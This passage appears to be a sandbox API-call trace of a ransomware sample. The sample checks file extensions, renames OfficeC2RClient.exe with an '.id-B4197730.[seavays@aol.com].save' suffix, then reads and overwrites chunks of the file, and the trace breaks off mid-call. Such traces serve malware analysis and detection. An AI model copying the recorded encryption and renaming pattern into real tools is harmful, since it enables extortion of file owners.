(lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0072.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0072.347] lstrlenW (lpString=".doc") returned 4 [0072.347] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0072.347] lstrlenW (lpString=".docx") returned 5 [0072.347] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0072.347] lstrlenW (lpString=".pdf") returned 4 [0072.347] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0072.347] lstrlenW (lpString=".xls") returned 4 [0072.347] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0072.347] lstrlenW (lpString=".xlsx") returned 5 [0072.347] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0072.347] lstrlenW (lpString=".ppt") returned 4 [0072.347] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0072.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0072.347] lstrlenW (lpString=".zip") returned 4 [0072.347] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0072.348] lstrlenW (lpString=".rar") returned 4 [0072.348] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0072.348] lstrlenW (lpString=".bz2") returned 4 [0072.348] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0072.348] lstrlenW (lpString=".7z") returned 3 [0072.348] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0072.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0072.348] lstrlenW (lpString=".dbf") returned 4 [0072.348] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0072.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0072.348] lstrlenW (lpString=".1cd") returned 4 [0072.348] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0072.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0072.348] lstrlenW (lpString=".jpg") returned 4 [0072.348] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0072.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0072.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0072.348] lstrlenW (lpString=".doc") returned 4 [0072.348] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0072.348] lstrlenW (lpString=".docx") returned 5 [0072.348] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0072.348] lstrlenW (lpString=".pdf") returned 4 [0072.348] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0072.348] lstrlenW (lpString=".xls") returned 4 [0072.348] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0072.348] lstrlenW (lpString=".xlsx") returned 5 [0072.349] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0072.349] lstrlenW (lpString=".ppt") returned 4 [0072.349] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0072.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0072.349] lstrlenW (lpString=".zip") returned 4 [0072.349] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0072.349] lstrlenW (lpString=".rar") returned 4 [0072.349] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0072.349] lstrlenW (lpString=".bz2") returned 4 [0072.349] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0072.349] lstrlenW (lpString=".7z") returned 3 [0072.349] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0072.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0072.349] lstrlenW (lpString=".dbf") returned 4 [0072.349] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0072.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0072.349] lstrlenW (lpString=".1cd") returned 4 [0072.349] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0072.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0072.349] lstrlenW (lpString=".jpg") returned 4 [0072.349] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0072.349] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0072.350] lstrlenW (lpString="msvcp120.dll") returned 12 [0072.350] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0072.350] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=660136) returned 1 [0072.350] CloseHandle (hObject=0x38c) returned 1 [0072.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll")) returned 0x20 [0072.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0072.351] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0072.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0072.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0072.351] lstrlenW (lpString=".doc") returned 4 [0072.351] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0072.351] lstrlenW (lpString=".docx") returned 5 [0072.351] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0072.351] lstrlenW (lpString=".pdf") returned 4 [0072.351] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0072.351] lstrlenW (lpString=".xls") returned 4 [0072.351] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0072.351] lstrlenW (lpString=".xlsx") returned 5 [0072.351] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0072.351] lstrlenW (lpString=".ppt") returned 4 [0072.351] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0072.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0072.351] lstrlenW (lpString=".zip") returned 4 [0072.351] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0072.352] lstrlenW (lpString=".rar") returned 4 [0072.352] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0072.352] lstrlenW (lpString=".bz2") returned 4 [0072.352] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0072.352] lstrlenW (lpString=".7z") returned 3 [0072.352] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0072.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0072.352] lstrlenW (lpString=".dbf") returned 4 [0072.352] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0072.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0072.352] lstrlenW (lpString=".1cd") returned 4 [0072.352] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0072.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0072.352] lstrlenW (lpString=".jpg") returned 4 [0072.352] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0072.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0072.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0072.352] lstrlenW (lpString=".doc") returned 4 [0072.352] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0072.352] lstrlenW (lpString=".docx") returned 5 [0072.352] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0072.352] lstrlenW (lpString=".pdf") returned 4 [0072.352] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0072.353] lstrlenW (lpString=".xls") returned 4 [0072.353] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0072.353] lstrlenW (lpString=".xlsx") returned 5 [0072.353] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0072.353] lstrlenW (lpString=".ppt") returned 4 [0072.353] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0072.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0072.353] lstrlenW (lpString=".zip") returned 4 [0072.353] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0072.353] lstrlenW (lpString=".rar") returned 4 [0072.353] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0072.353] lstrlenW (lpString=".bz2") returned 4 [0072.353] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0072.353] lstrlenW (lpString=".7z") returned 3 [0072.353] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0072.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0072.353] lstrlenW (lpString=".dbf") returned 4 [0072.353] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0072.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0072.353] lstrlenW (lpString=".1cd") returned 4 [0072.353] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0072.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0072.353] lstrlenW (lpString=".jpg") returned 4 [0072.353] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0072.354] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0072.354] lstrlenW (lpString="msvcp140.dll") returned 12 [0072.354] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0072.354] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=635040) returned 1 [0072.354] CloseHandle (hObject=0x38c) returned 1 [0072.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll")) returned 0x20 [0072.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0072.355] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0072.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0072.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0072.355] lstrlenW (lpString=".doc") returned 4 [0072.355] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0072.355] lstrlenW (lpString=".docx") returned 5 [0072.355] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0072.355] lstrlenW (lpString=".pdf") returned 4 [0072.355] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0072.355] lstrlenW (lpString=".xls") returned 4 [0072.355] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0072.355] lstrlenW (lpString=".xlsx") returned 5 [0072.355] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0072.355] lstrlenW (lpString=".ppt") returned 4 [0072.355] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0072.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0072.355] lstrlenW (lpString=".zip") returned 4 [0072.355] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0072.355] lstrlenW (lpString=".rar") returned 4 [0072.356] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0072.356] lstrlenW (lpString=".bz2") returned 4 [0072.356] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0072.356] lstrlenW (lpString=".7z") returned 3 [0072.356] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0072.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0072.356] lstrlenW (lpString=".dbf") returned 4 [0072.356] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0072.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0072.356] lstrlenW (lpString=".1cd") returned 4 [0072.356] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0072.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0072.356] lstrlenW (lpString=".jpg") returned 4 [0072.356] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0072.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0072.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0072.356] lstrlenW (lpString=".doc") returned 4 [0072.357] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0072.357] lstrlenW (lpString=".docx") returned 5 [0072.357] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0072.357] lstrlenW (lpString=".pdf") returned 4 [0072.357] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0072.357] lstrlenW (lpString=".xls") returned 4 [0072.357] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0072.357] lstrlenW (lpString=".xlsx") returned 5 [0072.357] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0072.357] lstrlenW (lpString=".ppt") returned 4 [0072.357] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0072.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0072.357] lstrlenW (lpString=".zip") returned 4 [0072.357] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0072.357] lstrlenW (lpString=".rar") returned 4 [0072.357] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0072.357] lstrlenW (lpString=".bz2") returned 4 [0072.357] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0072.357] lstrlenW (lpString=".7z") returned 3 [0072.357] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0072.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0072.357] lstrlenW (lpString=".dbf") returned 4 [0072.357] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0072.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0072.357] lstrlenW (lpString=".1cd") returned 4 [0072.357] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0072.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0072.358] lstrlenW (lpString=".jpg") returned 4 [0072.358] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0072.358] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0072.358] lstrlenW (lpString="msvcr120.dll") returned 12 [0072.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0072.358] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=963240) returned 1 [0072.358] CloseHandle (hObject=0x38c) returned 1 [0072.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll")) returned 0x20 [0072.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0072.359] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0072.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0072.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0072.359] lstrlenW (lpString=".doc") returned 4 [0072.359] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0072.359] lstrlenW (lpString=".docx") returned 5 [0072.359] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0072.359] lstrlenW (lpString=".pdf") returned 4 [0072.359] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0072.359] lstrlenW (lpString=".xls") returned 4 [0072.359] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0072.359] lstrlenW (lpString=".xlsx") returned 5 [0072.359] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0072.360] lstrlenW (lpString=".ppt") returned 4 [0072.360] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0072.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0072.360] lstrlenW (lpString=".zip") returned 4 [0072.360] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0072.360] lstrlenW (lpString=".rar") returned 4 [0072.360] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0072.360] lstrlenW (lpString=".bz2") returned 4 [0072.360] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0072.360] lstrlenW (lpString=".7z") returned 3 [0072.360] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0072.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0072.360] lstrlenW (lpString=".dbf") returned 4 [0072.360] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0072.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0072.360] lstrlenW (lpString=".1cd") returned 4 [0072.360] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0072.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0072.360] lstrlenW (lpString=".jpg") returned 4 [0072.360] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0072.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0072.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0072.360] lstrlenW (lpString=".doc") returned 4 [0072.360] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0072.361] lstrlenW (lpString=".docx") returned 5 [0072.361] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0072.361] lstrlenW (lpString=".pdf") returned 4 [0072.361] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0072.361] lstrlenW (lpString=".xls") returned 4 [0072.361] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0072.361] lstrlenW (lpString=".xlsx") returned 5 [0072.361] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0072.361] lstrlenW (lpString=".ppt") returned 4 [0072.361] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0072.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0072.361] lstrlenW (lpString=".zip") returned 4 [0072.361] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0072.361] lstrlenW (lpString=".rar") returned 4 [0072.361] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0072.361] lstrlenW (lpString=".bz2") returned 4 [0072.361] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0072.361] lstrlenW (lpString=".7z") returned 3 [0072.361] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0072.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0072.361] lstrlenW (lpString=".dbf") returned 4 [0072.361] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0072.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0072.361] lstrlenW (lpString=".1cd") returned 4 [0072.361] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0072.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0072.362] lstrlenW (lpString=".jpg") returned 4 [0072.362] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0072.362] lstrcmpiW (lpString1=".exe", lpString2=".save") returned -1 [0072.362] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0072.362] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0072.362] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=5967976) returned 1 [0072.362] CloseHandle (hObject=0x38c) returned 1 [0072.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe")) returned 0x20 [0072.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0072.363] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[seavays@aol.com].save")) returned 1 [0073.334] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0073.334] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc64 | out: lpNewFilePointer=0x0) returned 1 [0073.334] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc24 | out: lpNewFilePointer=0x0) returned 1 [0073.335] ReadFile (in: hFile=0x38c, lpBuffer=0x3afc058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc30, lpOverlapped=0x0 | out: lpBuffer=0x3afc058*, lpNumberOfBytesRead=0x300fc30*=0x40000, lpOverlapped=0x0) returned 1 [0073.340] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x1e5acd, lpNewFilePointer=0x0, dwMoveMethod=0x300fc24 | out: lpNewFilePointer=0x0) returned 1 [0073.340] ReadFile (in: hFile=0x38c, lpBuffer=0x3b3c058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b3c058*, lpNumberOfBytesRead=0x300fc30*=0x40000, lpOverlapped=0x0) returned 1 [0073.350] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x300fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.350] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x571068, lpNewFilePointer=0x0, dwMoveMethod=0x300fc24 | out: lpNewFilePointer=0x0) returned 1 [0073.351] ReadFile (in: hFile=0x38c, lpBuffer=0x3b7c058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b7c058*, lpNumberOfBytesRead=0x300fc30*=0x40000, lpOverlapped=0x0) returned 1 [0073.370] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.370] WriteFile (in: hFile=0x38c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x300fca8, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fca8*=0xc0112, lpOverlapped=0x0) returned 1 [0073.628] SetEndOfFile (hFile=0x38c) returned 1 [0073.628] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40000) returned 0x43fbfd8 [0073.634] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc74 | out: lpNewFilePointer=0x0) returned 1 [0073.634] WriteFile (in: hFile=0x38c, lpBuffer=0x43fbfd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc80, lpOverlapped=0x0 | out: lpBuffer=0x43fbfd8*, lpNumberOfBytesWritten=0x300fc80*=0x40000, lpOverlapped=0x0) returned 1 [0073.636] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x1e5acd, lpNewFilePointer=0x0, dwMoveMethod=0x300fc74 | out: lpNewFilePointer=0x0) returned 